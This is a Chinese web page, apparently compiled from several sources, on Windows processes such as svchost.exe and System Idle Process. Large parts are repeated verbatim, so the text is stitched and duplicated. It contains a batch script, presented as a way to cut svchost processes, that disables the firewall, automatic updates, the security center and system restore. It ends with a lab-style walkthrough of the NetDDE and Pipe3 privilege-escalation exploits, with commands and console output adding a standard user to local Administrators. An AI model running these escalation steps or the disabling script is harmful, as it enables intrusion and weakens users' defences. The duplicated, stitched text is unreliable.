NetDDE Agent是什么东西?
进程文件： svchost or svchost.exe
进程名称： Generic Service Host Process for Win32 Services
进程类别：系统进程
位置：C:\windows\system32\svchost.exe (如果你的svchost.exe进程不是在这个目录下的话，那么就要当心了)
英文描述：svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated. Note: svchost.
中文参考：svchost.exe是一个属于微软Windows操作系统的系统程序，微软官方对它的解释是：Svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对你系统的正常运行是非常重要,而且是不能被结束的。
(注意：svchost.exe也有可能是W32.Welchia.Worm病毒，它利用Windows LSASS漏洞，制造缓冲区溢出，导致你计算机关机。更多详细信息参考:http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx，该进程的安全等级是建议立即删除。)
出品者：Microsoft Corp.
属于：Microsoft Windows Operating System
系统进程：Yes
后台程序：Yes
网络相关：Yes
常见错误：N/A
内存使用：N/A
安全等级 (0-5): 0
间谍软件：No
广告软件：No
病毒：No
木马：No
发现：
在基于nt内核的windows操作系统家族中，不同版本的windows系统，存在不同数量的“svchost”进程，用户使用“任务管理器”可查看其进程数目。一般来说，win2000有两个svchost进程，winxp中则有四个或四个以上的svchost进程（以后看到系统中有多个这种进程，千万别立即判定系统有病毒了哟），而win2003server中则更多。这些svchost进程提供很多系统服务，如：rpcss服务（remoteprocedurecall）、dmserver服务（logicaldiskmanager）、dhcp服务（dhcpclient）等。到了Windows Vista 系统时svchost 进程多达12个，这些svchost.exe都是同一个文件路径下C ：\Windows\System32\svchost.exe ， 它们分别是imgsvc、 NetworkServiceNetworkRestricted、 LocalServiceNoNetwork 、NetworkService 、LocalService 、netsvcs 、LocalSystemNetworkRestricted、 LocalServiceNetworkRestricted 、services 、rpcss、 WerSvcGroup 、DcomLaunch服务组。如果要了解每个svchost进程到底提供了多少系统服务，可以在win2000的命令提示符窗口中输入“tlist-s”命令来查看，该命令是win2000supporttools提供的。在winxp则使用“tasklist/svc”命令。
svchost中可以包含多个服务
深入：windows系统进程分为独立进程和共享进程两种，“svchost.exe”文件存在于“%systemroot%system32”目录下，它属于共享进程。随着windows系统服务不断增多，为了节省系统资源，微软把很多服务做成共享方式，交由svchost.exe进程来启动。但svchost进程只作为服务宿主，并不能实现任何服务功能，即它只能提供条件让其他服务在这里被启动，而它自己却不能给用户提供任何服务。那这些服务是如何实现的呢？
原来这些系统服务是以动态链接库（dll）形式实现的，它们把可执行程序指向svchost，由svchost调用相应服务的动态链接库来启动服务。那svchost又怎么知道某个系统服务该调用哪个动态链接库呢？这是通过系统服务在注册表中设置的参数来实现。下面就以rpcss（remoteprocedurecall）服务为例，进行讲解。
从启动参数中可见服务是靠svchost来启动的。
实例
以windowsxp为例，点击“开始”/“运行”，输入“services.msc”命令，弹出服务对话框，然后打开“remoteprocedurecall”属性对话框，可以看到rpcss服务的可执行文件的路径为“c:\windows\system32\svchost-krpcss”，这说明rpcss服务是依靠svchost调用“rpcss”参数来实现的，而参数的内容则是存放在系统注册表中的。
在运行对话框中输入“regedit.exe”后回车，打开注册表编辑器，找到[hkey_local_machine\system\currentcontrolset\servicespcss]项，找到类型为“reg_expand_sz”的键“magepath”，其键值为“%systemroot%system32svchost-krpcss”（这就是在服务窗口中看到的服务启动命令），另外在“parameters”子项中有个名为“servicedll”的键，其值为“%systemroot%system32rpcss.dll”，其中“rpcss.dll”就是rpcss服务要使用的动态链接库文件。这样svchost进程通过读取“rpcss”服务注册表信息，就能启动该服务了。
解惑
因为svchost进程启动各种服务，所以病毒、木马也想尽办法来利用它，企图利用它的特性来迷惑用户，达到感染、入侵、破坏的目的（如冲击波变种病毒“w32.welchia.worm”）。但windows系统存在多个svchost进程是很正常的，在受感染的机器中到底哪个是病毒进程呢？这里仅举一例来说明。
假设windowsxp系统被“w32.welchia.worm”感染了。正常的svchost文件存在于“c:\windows\system32”目录下，如果发现该文件出现在其他目录下就要小心了。“w32.welchia.worm”病毒存在于“c:\windows\system32wins”目录中，因此使用进程管理器查看svchost进程的执行文件路径就很容易发现系统是否感染了病毒。windows系统自带的任务管理器不能够查看进程的路径，可以使用第三方进程管理软件，如“windows优化大师”进程管理器，通过这些工具就可很容易地查看到所有的svchost进程的执行文件路径，一旦发现其执行路径为不平常的位置就应该马上进行检测和处理。
Svchost.exe说明解疑对Svchost的困惑
---------------
Svchost.exe文件对那些从动态连接库中运行的服务来说是一个普通的主机进程名。Svhost.exe文件定位在系统的%systemroot%\system32文件夹下。在启动的时候，Svchost.exe检查注册表中的位置(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost)来构建需要加载的服务列表。这就会使多个Svchost.exe在同一时间运行。每个Svchost.exe的回话期间都包含一组服务，以至于单独的服务必须依靠Svchost.exe怎样和在那里启动。这样就更加容易控制和查找错误。
Svchost.exe 组是用下面的注册表值来识别。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost
每个在这个键下的值代表一个独立的Svchost组，并且当你正在看活动的进程时，它显示作为一个单独的例子。每个键值都是REG_MULTI_SZ类型的值而且包括运行在Svchost组内的服务。每个Svchost组都包含一个或多个从注册表值中选取的服务名，这个服务的参数值包含了一个ServiceDLL值。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
简单的说没有这个RPC服务，机器几乎就上不了网了。很多应用服务都是依赖于这个RPC接口的，如果发现这个进程占了太多的CPU资源，直接把系统的RPC服务禁用了会是一场灾难：因为连恢复这个界面的系统服务设置界面都无法使用了。恢复的方法需要使用注册表编辑器，找到 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services >> RpcSs, 右侧找到Start属性，把它的值改为2再重启即可
造成svchost占系统CPU 100%的原因并非svchost服务本身：以上的情况是由于Windows Update服务下载/安装失败而导致更新服务反复重试造成的。而Windows的自动更新也是依赖于svchost服务的一个后台应用，从而表现为svchost.exe负载极高。 常发生这类问题的机器一般是上网条件（尤其是去国外网站）不稳定的机器，比如家里的父母的机器，往往在安装机器几个月以后不定期发生，每个月的第二个星期是高发期：因为最近几年MS很有规律的在每个月的第二个星期发布补丁程序）。上面的解决方法并不能保证不重发作，但是为了svchost文件而每隔几个月重装一次操作系统还是太浪费时间了。
更多的信息
为了能看到正在运行在Svchost列表中的服务。
开始－运行－敲入cmd
然后在敲入 tlist -s （tlist 应该是win2k工具箱里的东东）
Tlist 显示一个活动进程的列表。开关 -s 显示在每个进程中的活动服务列表。如果想知道更多的关于进程的信息，可以敲 tlist pid。
Tlist 显示Svchost.exe运行的两个例子。
0 System Process
8 System
132 smss.exe
160 csrss.exe Title:
180 winlogon.exe Title: NetDDE Agent
208services.exe
Svcs: AppMgmt,Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,LanmanWorkst
ation,LmHosts,Messenger,PlugPlay,ProtectedStorage,seclogon,TrkWks,W32Time,Wmi
220 lsass.exe Svcs: Netlogon,PolicyAgent,SamSs
404 svchost.exe Svcs: RpcSs
452 spoolsv.exe Svcs: Spooler
544 cisvc.exe Svcs: cisvc
556 svchost.exe Svcs: EventSystem,Netman,NtmsSvc,RasMan,SENS,TapiSrv
580 regsvc.exe Svcs: RemoteRegistry
596 mstask.exe Svcs: Schedule
660 snmp.exe Svcs: SNMP
728 winmgmt.exe Svcs: WinMgmt
852 cidaemon.exe Title: OleMainThreadWndName
812 explorer.exe Title: Program Manager
1032 OSA.EXE Title: Reminder
1300 cmd.exe Title: D:\WINNT5\System32\cmd.exe - tlist -s
1080 MAPISP32.EXE Title: WMS Idle
1264 rundll32.exe Title:
1000 mmc.exe Title: Device Manager
1144 tlist.exe
在这个例子中注册表设置了两个组。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost:
netsvcs: Reg_Multi_SZ: EventSystem Ias Iprip Irmon Netman Nwsapagent RasautoRa
sman Remoteaccess SENS Sharedaccess Tapisrv Ntmssvc
rpcss :Reg_Multi_SZ: RpcSs
smss.exe
csrss.exe
这个是用户模式Win32子系统的一部分。csrss代表客户/服务器运行子系统而且是一个基本的子系统必须一直运行。csrss 负责控制windows，创建或者删除线程和一些16位的虚拟MS-DOS环境。
system idle process 进程文件: [System Process] or [System Process]
进程名称: Windows内存处理系统进程
描 述: Windows页面内存管理进程，拥有0级优先;该程序使用Ctrl+Alt+Del打开，该进程作为单线程运行在每个处理器上，并在系统不处理其他线程的时候分派处理器的时间。它的cpu占用率越大表示可供分配的CPU资源越多，数字越小则表示CPU资源紧张。该进程是系统必须的，不能禁止。
系统进程： 是
后台程序： 是
使用网络： 否
硬件相关： 否
常见错误： 未知N/A
内存使用： 未知N/A
安全等级 (0-5): 0
间谍软件： 否
Adware: 否
病毒： 否
木马： 否
实际上System Idle Process 是WIN2000/XP及vista操作系统所有的一个进程（最新的windows7由于其运行方式的不同已经没有这个进程），是在CPU空闲的的时候，发出一个IDLE命令，使CPU挂起（暂时停止工作），可有效的降低CPU内核的温度，在操作系统服务里面，都没有禁止它的选项；默认它是占用除了当前应用程序所分配的处理器（CPU)百分比之外的所有占用率；一旦应用程序发出请求，处理器会立刻响应的。在这个进程里出现的CPU占用数值并不是真正的占用而是体现的CPU的空闲率，也就说这个数值越大CPU的空闲率就越高，反之就是CPU的占用率越高。如果在刚刚开机的情况下就发现System Idle Process的CPU占用值很低的话应该就注意后台有什么大的程序在运行或者感染病毒了。
System Idle Process SYSTEM不是一个真正的进程，是核心虚拟出来的，多任务操作系统都有的！在没有可用的进程时，系统处于空运行状态，此时就是System Idle Process SYSTEM在运行！故它占用97%CPU时间，说明你的机器负荷很轻！你用WINZIP解压一个大的文件时，就可看到，System Idle Process SYSTEM占用CPU时间变化。
system idle ……是表示你系统剩余的CPU资源！ 不要想去结束它！
要是他占的CPU资源为0估计你该重新启动了！
当“System Idle Process”进程占用资源为2%时，说明机器目前只有2%的资源是空闲的，即机器可能感染了病毒或被其他程序占用了98%的资源。换句话说，“System Idle Process”进程占用资源占用资源越大则系统可用资源越多，其字面意思是“系统空闲进程”
首先我们要了解System Idle Process SYSTEM并不是一个真正的进程，System Idle Process是核心虚拟出来的，多任务操作系统都会存在！在没有可用的进程时，系统处于空运行状态，此时就是System Idle Process SYSTEM在运行！故它占用百分之九十以上CPU时间，说明你的机器负荷很轻！
假如我们使用Photoshop制图时，你会发现，System Idle Process SYSTEM占用CPU时刻都在变化着，更多的时候在变小。
"System Idle Process" 中的 idle 是“空闲”的意思
"System Idle Process" 即“系统空闲进程”
System Idle Process占用越多CPU时间，说明你的电脑越空闲
System Idle Process 当达到5%以下的时候，那么你可以选择重启了！
进程文件： svchost or svchost.exe
进程名称： Generic Service Host Process for Win32 Services
进程类别：系统进程
位置：C:\windows\system32\svchost.exe (如果你的svchost.exe进程不是在这个目录下的话，那么就要当心了)
英文描述：svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated. Note: svchost.
中文参考：svchost.exe是一个属于微软Windows操作系统的系统程序，微软官方对它的解释是：Svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对你系统的正常运行是非常重要,而且是不能被结束的。
(注意：svchost.exe也有可能是W32.Welchia.Worm病毒，它利用Windows LSASS漏洞，制造缓冲区溢出，导致你计算机关机。更多详细信息参考:http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx，该进程的安全等级是建议立即删除。)
出品者：Microsoft Corp.
属于：Microsoft Windows Operating System
系统进程：Yes
后台程序：Yes
网络相关：Yes
常见错误：N/A
内存使用：N/A
安全等级 (0-5): 0
间谍软件：No
广告软件：No
病毒：No
木马：No
发现：
在基于nt内核的windows操作系统家族中，不同版本的windows系统，存在不同数量的“svchost”进程，用户使用“任务管理器”可查看其进程数目。一般来说，win2000有两个svchost进程，winxp中则有四个或四个以上的svchost进程（以后看到系统中有多个这种进程，千万别立即判定系统有病毒了哟），而win2003server中则更多。这些svchost进程提供很多系统服务，如：rpcss服务（remoteprocedurecall）、dmserver服务（logicaldiskmanager）、dhcp服务（dhcpclient）等。到了Windows Vista 系统时svchost 进程多达12个，这些svchost.exe都是同一个文件路径下C ：\Windows\System32\svchost.exe ， 它们分别是imgsvc、 NetworkServiceNetworkRestricted、 LocalServiceNoNetwork 、NetworkService 、LocalService 、netsvcs 、LocalSystemNetworkRestricted、 LocalServiceNetworkRestricted 、services 、rpcss、 WerSvcGroup 、DcomLaunch服务组。如果要了解每个svchost进程到底提供了多少系统服务，可以在win2000的命令提示符窗口中输入“tlist-s”命令来查看，该命令是win2000supporttools提供的。在winxp则使用“tasklist/svc”命令。
svchost中可以包含多个服务
深入：windows系统进程分为独立进程和共享进程两种，“svchost.exe”文件存在于“%systemroot%system32”目录下，它属于共享进程。随着windows系统服务不断增多，为了节省系统资源，微软把很多服务做成共享方式，交由svchost.exe进程来启动。但svchost进程只作为服务宿主，并不能实现任何服务功能，即它只能提供条件让其他服务在这里被启动，而它自己却不能给用户提供任何服务。那这些服务是如何实现的呢？
原来这些系统服务是以动态链接库（dll）形式实现的，它们把可执行程序指向svchost，由svchost调用相应服务的动态链接库来启动服务。那svchost又怎么知道某个系统服务该调用哪个动态链接库呢？这是通过系统服务在注册表中设置的参数来实现。下面就以rpcss（remoteprocedurecall）服务为例，进行讲解。
从启动参数中可见服务是靠svchost来启动的。
实例
以windowsxp为例，点击“开始”/“运行”，输入“services.msc”命令，弹出服务对话框，然后打开“remoteprocedurecall”属性对话框，可以看到rpcss服务的可执行文件的路径为“c:\windows\system32\svchost-krpcss”，这说明rpcss服务是依靠svchost调用“rpcss”参数来实现的，而参数的内容则是存放在系统注册表中的。
在运行对话框中输入“regedit.exe”后回车，打开注册表编辑器，找到[hkey_local_machine\system\currentcontrolset\servicespcss]项，找到类型为“reg_expand_sz”的键“Imagepath”，其键值为“%systemroot%system32svchost-krpcss”（这就是在服务窗口中看到的服务启动命令），另外在“parameters”子项中有个名为“servicedll”的键，其值为“%systemroot%system32rpcss.dll”，其中“rpcss.dll”就是rpcss服务要使用的动态链接库文件。这样svchost进程通过读取“rpcss”服务注册表信息，就能启动该服务了。
解惑
因为svchost进程启动各种服务，所以病毒、木马也想尽办法来利用它，企图利用它的特性来迷惑用户，达到感染、入侵、破坏的目的（如冲击波变种病毒“w32.welchia.worm”）。但windows系统存在多个svchost进程是很正常的，在受感染的机器中到底哪个是病毒进程呢？这里仅举一例来说明。
假设windowsxp系统被“w32.welchia.worm”感染了。正常的svchost文件存在于“c:\windows\system32”目录下，如果发现该文件出现在其他目录下就要小心了。“w32.welchia.worm”病毒存在于“c:\windows\system32wins”目录中，因此使用进程管理器查看svchost进程的执行文件路径就很容易发现系统是否感染了病毒。windows系统自带的任务管理器不能够查看进程的路径，可以使用第三方进程管理软件，如“windows优化大师”进程管理器，通过这些工具就可很容易地查看到所有的svchost进程的执行文件路径，一旦发现其执行路径为不平常的位置就应该马上进行检测和处理。
Svchost.exe说明解疑对Svchost的困惑
---------------
Svchost.exe文件对那些从动态连接库中运行的服务来说是一个普通的主机进程名。Svhost.exe文件定位在系统的%systemroot%\system32文件夹下。在启动的时候，Svchost.exe检查注册表中的位置(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost)来构建需要加载的服务列表。这就会使多个Svchost.exe在同一时间运行。每个Svchost.exe的回话期间都包含一组服务，以至于单独的服务必须依靠Svchost.exe怎样和在那里启动。这样就更加容易控制和查找错误。
Svchost.exe 组是用下面的注册表值来识别。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost
每个在这个键下的值代表一个独立的Svchost组，并且当你正在看活动的进程时，它显示作为一个单独的例子。每个键值都是REG_MULTI_SZ类型的值而且包括运行在Svchost组内的服务。每个Svchost组都包含一个或多个从注册表值中选取的服务名，这个服务的参数值包含了一个ServiceDLL值。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
简单的说没有这个RPC服务，机器几乎就上不了网了。很多应用服务都是依赖于这个RPC接口的，如果发现这个进程占了太多的CPU资源，直接把系统的RPC服务禁用了会是一场灾难：因为连恢复这个界面的系统服务设置界面都无法使用了。恢复的方法需要使用注册表编辑器，找到 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services >> RpcSs, 右侧找到Start属性，把它的值改为2再重启即可
造成svchost占系统CPU 100%的原因并非svchost服务本身：以上的情况是由于Windows Update服务下载/安装失败而导致更新服务反复重试造成的。而Windows的自动更新也是依赖于svchost服务的一个后台应用，从而表现为svchost.exe负载极高。 常发生这类问题的机器一般是上网条件（尤其是去国外网站）不稳定的机器，比如家里的父母的机器，往往在安装机器几个月以后不定期发生，每个月的第二个星期是高发期：因为最近几年MS很有规律的在每个月的第二个星期发布补丁程序）。上面的解决方法并不能保证不重发作，但是为了svchost文件而每隔几个月重装一次操作系统还是太浪费时间了。
更多的信息
为了能看到正在运行在Svchost列表中的服务。
开始－运行－敲入cmd
然后在敲入 tlist -s （tlist 应该是win2k工具箱里的东东）
Tlist 显示一个活动进程的列表。开关 -s 显示在每个进程中的活动服务列表。如果想知道更多的关于进程的信息，可以敲 tlist pid。
Tlist 显示Svchost.exe运行的两个例子。
0 System Process
8 System
132 smss.exe
160 csrss.exe Title:
180 winlogon.exe Title: NetDDE Agent
208services.exe
Svcs: AppMgmt,Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,LanmanWorkst
ation,LmHosts,Messenger,PlugPlay,ProtectedStorage,seclogon,TrkWks,W32Time,Wmi
220 lsass.exe Svcs: Netlogon,PolicyAgent,SamSs
404 svchost.exe Svcs: RpcSs
452 spoolsv.exe Svcs: Spooler
544 cisvc.exe Svcs: cisvc
556 svchost.exe Svcs: EventSystem,Netman,NtmsSvc,RasMan,SENS,TapiSrv
580 regsvc.exe Svcs: RemoteRegistry
596 mstask.exe Svcs: Schedule
660 snmp.exe Svcs: SNMP
728 winmgmt.exe Svcs: WinMgmt
852 cidaemon.exe Title: OleMainThreadWndName
812 explorer.exe Title: Program Manager
1032 OSA.EXE Title: Reminder
1300 cmd.exe Title: D:\WINNT5\System32\cmd.exe - tlist -s
1080 MAPISP32.EXE Title: WMS Idle
1264 rundll32.exe Title:
1000 mmc.exe Title: Device Manager
1144 tlist.exe
在这个例子中注册表设置了两个组。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost:
netsvcs: Reg_Multi_SZ: EventSystem Ias Iprip Irmon Netman Nwsapagent RasautoRa
sman Remoteaccess SENS Sharedaccess Tapisrv Ntmssvc
rpcss :Reg_Multi_SZ: RpcSs
smss.exe
csrss.exe
这个是用户模式Win32子系统的一部分。csrss代表客户/服务器运行子系统而且是一个基本的子系统必须一直运行。csrss 负责控制windows，创建或者删除线程和一些16位的虚拟MS-DOS环境。
[编辑本段]以下是系统调用SVCHOST程序的服务
(第一行为"服务名字",第二行为"服务的说明",第三行为"调用程序")
Application Management
应用程序管理组件，负责msi文件格式的安装，但是实际上禁止了该服务并无大碍。
svchost.exe
Automatic Updates
Windows的自动更新服务。
svchost.exe
Background Intelligent Transfer Service
实现http1.1服务器之间的信息传输，微软称支持windows更新时的断点续传。
svchost.exe
COM+ Event System
某些COM+软件需要，检查c:/program files/ComPlus Applications目录，如果里面没有文件就可以把这个服务关闭．
svchost.exe
Computer Browser
用来浏览局域网电脑的服务，但关了不影响浏览！
svchost.exe
Cryptographic Services
Windows更新时用来确认windows文件指纹的，可以在更新的时候开启。
svchost.exe
DHCP Client
使用静态IP的用户需要，对使用Modem的用户无用。
svchost.exe
Distributed Link Tracking Client
用于局域网更新连接信息，（比如在电脑A有个文件，在电脑B做了个连接，如果文件移动了，这个服务将会更新信息。占用4兆内存。）
svchost.exe
DNS Client
DNS解释器，把域名解释为IP地址
svchost.exe
Error Reporting Service
错误报告器，把windows中错误报告给微软。
svchost.exe
Fast User Switching Compatibility
多用户快速切换服务，你喜欢吗？
svchost.exe
Help and Support
Windows的帮助。新手还是要靠他来指点的。
svchost.exe
Human Interface Device Access
支持“人体工学”的电脑配件，比如键盘上调音量的按钮等等。
svchost.exe
Internet Connection Firewall/Internet Connection Sharing
XP的防火墙/为多台电脑联网共享一个拨号网络访问Internet提供服务。
svchost.exe
Logical Disk Manager
磁盘管理服务。需要时系统会通知你开启。
svchost.exe
Network Location Awareness (NLA)
如有网络共享或ICS/ICF可能需要.(服务器端）。
svchost.exe
Portable Media Serial Number
Windows Media Player和Microsoft保护数字媒体版权.
svchost.exe
Remote Access Auto Connection Manager
宽带者／网络共享需要的服务！
svchost.exe
Remote Procedure Call (RPC)
系统核心服务！如果在Windows2000中禁止该服务，系统将无法启动。
svchost.exe
Remote Registry Service
远程注册表运行／修改。
svchost.exe
[编辑本段]注意点
svchost.exe
常被病毒冒充的进程名有：svch0st.exe、schvost.exe、scvhost.exe。随着Windows系统服务不断增多，为了节省系统资源，微软把很多服务做成共享方式，交由svchost.exe进程来启动。而系统服务是以动态链接库(DLL)形式实现的，它们把可执行程序指向svchost，由svchost调用相应服务的动态链接库来启动服务。我们可以打开“控制面板”→“管理工具”→服务，双击其中“ClipBook”服务，在其属性面板中可以发现对应的可执行文件路径为“C:\WINDOWS\system32\clipsrv.exe”。再双击“Alerter”服务，可以发现其可执行文件路径为“C:\WINDOWS\system32\svchost.exe -k LocalService”，而“Server”服务的可执行文件路径为“C:\WINDOWS\system32\svchost.exe -k netsvcs”。正是通过这种调用，可以省下不少系统资源，因此系统中出现多个svchost.exe，其实只是系统的服务而已。 在Windows2000系统中一般存在2个svchost.exe进程，一个是RPCSS(RemoteProcedureCall)服务进程，另外一个则是由很多服务共享的一个svchost.exe；而在WindowsXP中，则一般有4个以上的svchost.exe服务进程。如果svchost.exe进程的数量多于6个，就要小心了，很可能是病毒假冒的，检测方法也很简单，使用一些进程管理工具，例如Windows优化大师的进程管理功能，查看svchost.exe的可执行文件路径，如果在“C:\WINDOWS\system32”目录外，那么就可以判定是病毒了。
svchost.exe病毒清除办法
1、用unlocker删除类似于C:SysDayN6这样的文件夹：例如C:Syswm1i、C:SysAd5D等等，这些文件夹有个共同特点，就是名称为 Sys*** （***是三到五位的随机字母），这样的文件夹有几个就删几个。
2、开始——运行——输入“regedit”——打开注册表，展开注册表到以下位置：
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Policies\Explorer\Run
删除右边所有用纯数字为名的键，如
3、重新启动计算机，病毒清除完毕。
如何减少SVCHOST.EXE进程数
你可以把下面这段代码复制到一个空的记事本中，然后另存为“.bat”格式的批处理文件，再运行这个批处理。就可以关闭无用的系统服务了，你会发现少了很多SVCHOST.EXE。
@echo off
REM 关闭“为 Internet 连接共享和 Windows 防火墙提供第三方协议插件的支持”
sc config alg start= disabled
REM 关闭“Windows自动更新功能”
sc config wuauserv start= disabled
REM 关闭“剪贴簿查看器”
sc config clipsrv start= disabled
REM 关闭“Messenger”
sc config Messenger start= disabled
REM 关闭“通过NetMeeting远程访问此计算机”
sc config mnmsrvc start= disabled
REM 关闭“打印后台处理程序”
sc config Spooler start= disabled
REM 关闭“远程修改注册表”
sc config RemoteRegistry start= disabled
REM 关闭“监视系统安全设置和配置”
sc config wscsvc start= disabled
REM 关闭“系统还原”
sc config srservice start= disabled
REM 关闭“计划任务”
sc config Schedule start= disabled
REM 关闭“TCP/IP NetBIOS Helper”
sc config lmhosts start= disabled
REM 关闭“Telnet服务”
sc config tlntsvr start= disabled
REM 关闭“防火墙服务”
sc config sharedaccess start= disabled
REM 关闭“Computer Browser”
sc config Browser start= disabled
REM 关闭“错误报警”
sc config Alerter start= disabled
REM 关闭“错误报告”
sc config ERSvc start= disabled
REM 关闭“本地和远程计算机上文件的索引内容和属性”
sc config cisvc start= disabled
REM 关闭“管理卷影复制服务拍摄的软件卷影复制”
sc config SwPrv start= disabled
REM 关闭“支持网络上计算机 pass-through 帐户登录身份验证事件”
sc config NetLogon start= disabled
REM 关闭“为使用传输协议而不是命名管道的远程过程调用(RPC)程序提供安全机制”
sc config NtLmSsp start= disabled
REM 关闭“收集本地或远程计算机基于预先配置的日程参数的性能数据，然后将此数据写入日志或触发警报”
sc config SysmonLog start= disabled
REM 关闭“通过联机计算机重新获取任何音乐播放序号”
sc config WmdmPmSN start= disabled
REM 关闭“管理连接到计算机的不间断电源(UPS)”
sc config UPS start= disabled
"NetDDE Agent"还有另外一个辅助功能：当DDE Client试图连接到一个Trueted的DDE Share时，如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行，它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local System权限的，所以它启动Server没有一点问题。
根据DilDog的研究，这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)！还记得Window操作系统中的函数SendMessage()吗？登录用户可以利用这个函数向Desktop上的任何Window发送Message，即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后，可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent"，这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容：
1。 一个Trusted DDE Share的名字，比如说Chat$；
2。 一个用于启动DDE Server的命令，如果"NetDDE Agent"发现创建Chat$的DDE
Server尚未运行，就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造，比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了；
3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的，而不应该固定不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明WM_COPYDATA message是由合法程序(而不是黑客程序)发出的，所以它们应该随机变化而不让黑客轻易得到。
当"NDDEAgnt"接收到WM_COPYDATA message时，它核对后会发现第三部分的字节正确无误，而且Trusted DDE Share确实存在，於是它就执行黑客命令，由于"NDDEAgnt"具有Local System权限，它可以顺利地让阿猫同志光荣地加入本地Administrator Group。
DilDog在文章中还附带了一个Exploit程序netddemsg，我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的：
/*
先以我的用户账号“moda”登录dallas。
看看本地administrators Group有哪些成员：
*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
a_mao
Administrator
The command completed successfully.
/*
本地administrators Group目前只有两个成员，Administrator和a_mao。试着把“moda”加入到本地administrators Group中：
*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
/*
我的权限显然不够，所以得到error 5。
运行DilDog的Exploit程序，同时附带上我的黑客命令：
*/
D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$
net localgroup administrators /add moda
/*
程序运行结束，让我们看看“moda”是否加入本地administrators Group：
*/
D:\MyJob\securitylab\netddemsg\Debug>
D:\MyJob\securitylab\netddemsg\Debug>net localgroup
administrators
Alias name administrators
Comment Administrators have complete and unrestricted
access to the
Members
-----------------------------------------------------------------------------
a_mao
Administrator
moda
The command completed successfully.
D:\MyJob\securitylab\netddemsg\Debug>
/*
我也光荣地加入了本地administrators Group
*/
利用Windows 2000/Intel中的Debug Register来提升权限：
我是在Georgi Guninski的个人网站http://www.guninski.com)上看到这篇文章：
“Elevation of Privileges with debug registers on Win2k”，介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好，用文章中的Exploit程序Pipe3试了几次也不能成功，不过觉得利用Debug Register来攻击是个新的思路，所以就在这里顺便介绍一下。
Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说，你在一般用户进程中下一个绊子(就是设置一个断点)，没准会把某个系统进程或者服务进程(Service)绊一跤；这一跤要是把系统/服务进程摔垮了，导致它停止执行的话，你没准就可以伪造该进程的Named Pipe；然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时，黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。
文章中的Exploit程序Pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的：它要整垮的进程是lsass，所以必须先找几个lsass进程将要运行的指令的地址，以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路，我们才好在那条路上设绊脚石)；然后Pipe3以一般用户的权限运行程序Calc(计算器)，并在其中设置断点，因为这断点的地址是在lsass运行的途径上，所以它们并不会影响Calc进程；过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程；选择中断lsass以便关闭lsass拥有的Named Pipe----\ '5c.\pipe\lsass"，这样Pipe3就可以伪造一个同名的Named Pipe；。。。。。。这以后的几步我想就不用重复了，大家都应该清楚。下面说说我Exploit的情况：
先用WinDbg找到lsass可能要运行的指令地址，lsass有多个Thread，我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点，总有那么一个地址会成功地中断lsass程，并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后，lsass退出执行，Pipe3报告“LSA died!”：
D:\MyJob\securitylab\pipe3\Debug>pipe3
Fun with debug registers. Written by Georgi Guninskivvdr started: lsasspid=240 breakp=5ffebc
LSA died!
Stop writing to pipe
start \\.\pipe\lsass
Failed to create named pipe:
\\.\pipe\lsass
由于lsass是重要的系统进程，它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到，\\.\pipe\lsass并没有成功地创建。为什么呢？我抢在系统Shutdown之前运行了一下Pipelist：
D:\MyJob\securitylab\pipe3\Debug>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 2 -1
ntsvcs 49 -1
scerpc 2 -1
